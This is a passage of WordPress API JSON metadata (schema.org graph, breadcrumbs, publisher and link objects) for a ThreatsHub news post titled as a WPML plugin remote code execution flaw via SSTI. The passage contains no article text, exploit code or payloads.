SSTI","datePublished":"2024-08-27T14:47:29+00:00","mainEntityOfPage":{"@id":"https:\/\/www.threatshub.org\/blog\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\/"},"wordCount":761,"publisher":{"@id":"https:\/\/www.threatshub.org\/blog\/#organization"},"image":{"@id":"https:\/\/www.threatshub.org\/blog\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\/#primaryimage"},"thumbnailUrl":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2024\/08\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti.png","keywords":["headline,flaw,wordpress"],"articleSection":["Packet Storm"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.threatshub.org\/blog\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\/","url":"https:\/\/www.threatshub.org\/blog\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\/","name":"WPML Multilingual CMS Authenticated Contributor+ Remote Code Execution Via SSTI 2026 | ThreatsHub Cybersecurity News","isPartOf":{"@id":"https:\/\/www.threatshub.org\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.threatshub.org\/blog\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\/#primaryimage"},"image":{"@id":"https:\/\/www.threatshub.org\/blog\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\/#primaryimage"},"thumbnailUrl":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2024\/08\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti.png","datePublished":"2024-08-27T14:47:29+00:00","description":"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security & Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.","breadcrumb":{"@id":"https:\/\/www.threatshub.org\/blog\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.threatshub.org\/blog\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.threatshub.org\/blog\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\/#primaryimage","url":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2024\/08\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti.png","contentUrl":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2024\/08\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti.png","width":2274,"height":1464},{"@type":"BreadcrumbList","@id":"https:\/\/www.threatshub.org\/blog\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.threatshub.org\/blog\/"},{"@type":"ListItem","position":2,"name":"headline,flaw,wordpress","item":"https:\/\/www.threatshub.org\/blog\/tag\/headlineflawwordpress\/"},{"@type":"ListItem","position":3,"name":"WPML Multilingual CMS Authenticated Contributor+ Remote Code Execution Via SSTI"}]},{"@type":"WebSite","@id":"https:\/\/www.threatshub.org\/blog\/#website","url":"https:\/\/www.threatshub.org\/blog\/","name":"ThreatsHub Cybersecurity News","description":"%%focuskw%% Threat Intel \u2013 Threat Intel Services \u2013 CyberIntelligence \u2013 Cyber Threat Intelligence - Threat Intelligence Feeds - Threat Intelligence Reports - CyberSecurity Report \u2013 Cyber Security PDF \u2013 Cybersecurity Trends - Cloud Sandbox \u2013- Threat IntelligencePortal \u2013 Incident Response \u2013 Threat Hunting \u2013 IOC - Yara - Security Operations Center \u2013 SecurityOperation Center \u2013 Security SOC \u2013 SOC Services - Advanced Threat - Threat Detection - TargetedAttack \u2013 APT \u2013 Anti-APT \u2013 Advanced Protection \u2013 Cyber Security Services \u2013 Cybersecurity Services -Threat Intelligence Platform","publisher":{"@id":"https:\/\/www.threatshub.org\/blog\/#organization"},"alternateName":"Threatshub.org","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.threatshub.org\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.threatshub.org\/blog\/#organization","name":"ThreatsHub.org","alternateName":"Threatshub.org","url":"https:\/\/www.threatshub.org\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.threatshub.org\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2025\/05\/Threatshub_Favicon1.jpg","contentUrl":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2025\/05\/Threatshub_Favicon1.jpg","width":432,"height":435,"caption":"ThreatsHub.org"},"image":{"@id":"https:\/\/www.threatshub.org\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/x.com\/threatshub"]},{"@type":"Person","@id":"https:\/\/www.threatshub.org\/blog\/#\/schema\/person\/12e0a8671ff89a863584f193e7062476","name":"TH Author","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g","caption":"TH Author"}}]}},"_links":{"self":[{"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/posts\/56949","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/comments?post=56949"}],"version-history":[{"count":0,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/posts\/56949\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/media\/56950"}],"wp:attachment":[{"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/media?parent=56949"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/categories?post=56949"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/tags?post=56949"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}